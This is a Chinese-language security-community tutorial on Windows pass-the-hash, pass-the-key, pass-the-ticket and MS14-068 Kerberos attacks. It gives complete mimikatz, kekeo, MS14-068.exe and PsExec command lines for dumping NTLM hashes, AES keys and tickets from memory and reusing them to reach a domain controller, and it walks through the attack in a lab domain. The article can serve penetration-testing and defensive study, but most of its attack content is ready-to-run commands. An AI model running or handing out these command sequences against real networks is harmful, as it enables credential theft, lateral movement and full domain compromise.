HASH传递攻击

sechub官方2026-03-27文章来源:SecHub网络安全社区


传递攻击

NTLM hash 传递攻击

利用条件:

被pth攻击的计算机未打补丁(KB2871997)
拿到一台域成员主机并且拿到管理员组的域用户的NTML
对方主机存在相同账号并且是管理员组成员
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
注:安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
# 在目标主机中先获取 NTLM hash 值

mimikatz.exe "privilege::debug" "sekurlsa::msv"

# 提升权限

privilege::debug

# 获取 hash

sekurlsa::msv

# 在远程主机上进行 Hash 传递攻击

mimikatz.exe "privilege::debug" sekurlsa::pth /domian:要攻击的ip /user:目标主机上的用户名 /ntlm: NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 在弹出 cmd 窗口上,验证是否获取域控最高权限

# 查看域控制器的 C 盘,dc 为域控制器的主机名。

dir \\10.1.1.21\c$
dir \\dc\c$



AES-256 密钥传递攻击

利用条件:

  1. 目标主机上只有安装 KB2871997 ,才可以通过导入 AES-256 密钥的方式进行传递攻击。否则导入 AES-256 密钥后,会依然无法访问目标主机。
# 在目标主机中先获取 AES-256 值

mimikatz.exe "privilege::debug" "sekurlsa::ekeys"

# 获取 AES-256

sekurlsa::ekeys

# 在远程主机上进行 AES-256 密钥传递攻击

mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /aes256:5e5bd89efaefe26121d8c815391d9681e41cc0c1e1d009eeddb82273e6eca152"

# dir \\dc\c$

Ticket 传递攻击

利用 mimikatz 进行 Ticket 传递攻击


# 在目标主机上导出票据

# 导出内存中的 Tickets

.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

# 清除内存中的 Tickets

mimikatz# kerberos::purge

# 在远程主机上将票据文件注入到内存中

.\mimikatz.exe "kerberos::ptt .\`[0;3ae4f`]-2-0-40e10000-Administrator@krbtgt-TEST.LAB.kirbi"

利用 kekeo 进行 Ticket 传递攻击

kekeo使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。

# 生成票据

.\kekeo.exe "tgt::ask /domain:test.lab /user:Administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 清除当前内存中的其他票据,否则可能会导致票据传递失败

#在 kekeo 中
kekeo # kerberos::purge

# 利用系统自带命令

klist.exe purge

# 导入票据

.\kekeo.exe "kerberos::ptt TGT_Administrator@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi"

ms14-068.exe kerberos

利用条件:

  1. 域控没有打MS14-068的补丁(KB3011780)

  2. 拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid

# 获取 SID
# 如果当前用户为域用户
whoami /user
test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
# 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

# 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u test02@test.lab -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21

# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz.exe "kerberos::ptc TGT_test02@test.lab.ccache"

# 写入成功后,使用PsExec.exe以管理员权限运行连接域控
PsExec64.exe \\dc cmd.exe

Ticket 传递攻击特点

  1. Ticket 文件注入内存的默认有效时间为 10 小时
  2. 使用 dir 命令时,务必使用主机名,如果使用 IP 会报错
  3. 目标主机上,不需要管理员权限也可进行 Ticket 传递攻击

Hash传递攻击(PTH)

PTH在内网渗透中是一种很经典的攻击方式,原理就是我们可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。。在Windows系统中,通常会使用NTLM身份认证,NTLM是口令加密后的hash值。PTH是基于smb服务(445端口)。

原理:

在windows系统中,通常会使用NTLM身份认证。

NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash由系统API生成。

hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从windows Vista和windows server 2008开始,微软默认禁用LM hash。

如果攻击者获取了hash,就能够在身份验证的时模拟该用户(这样就跳过API生成hash的过程)。

pth-minikatz

webserver主机:192.168.3.31

域控主机:192.168.3.21

使用minikatz抓取主机中hash值。

image.png

把收集到的hash值作为一个条件,来尝试连接域内其他用户(使用获取hash值去撞域内同hash值的用户主机)。

在使用pth前查看域控主机C盘中的文件,提示操作失败。

image.png

接着在minikatz中执行传递pth的命令,命令执行完成后弹出了一个cmd窗口(可以看到连接到了域控用户,这个窗口就相当于建立了一个pth连接,它有访问域控的权限,我们要进行的操作都需要在这个窗口中完成)。

未打补丁下的工作组及域连接命令:

sekurlsa::pth /user:administrator /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7



sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c



sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

\OWA2010CN-God.god.org

image.png

image.png

再次执行查看域控主机C盘的操作,这次我们就可以看到域控主机的C盘文件了。

image.png

执行pth的命令并没有指向固定主机ip,由于是在靶场内事先知道了192.168.3.21是域控主机的ip,在实战中我们就需要通过信息收集域内主机的IP地址和用户主机信息等,通过在弹出的cmd窗口中执行命令时更换我们收集到的ip,看哪个ip有回显我们才能知道连接到了哪台主机。

但是微软对pth打过补丁,然而在测试中发现,在打了补丁后,常规的pth已经无法成功,唯独默认的administrator账号例外,利用这个账号仍可以进行pth远程连接。

如果禁用了NTLM认证,PsExec无法利用获得的NTLM hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于 8.1/2012r20,安装补丁kb2871997的windows 7/2008r2/8/2012等,可以使用aes keys代替NT hash来实现ptk攻击。

所以打了kb2871997补丁会产生两种攻击手段

注:KB2871997禁止本地管理员账户用于远程连接,这样就无法以本地管理员用户的权限执行wmi、psexec、schtasks、at和访问文件共享。

pth:没打补丁的所有用户可以连接,打了补丁只能用administrator用户连接。
ptk:打了补丁才能用户都可以连接,采用aes256连接。

image.png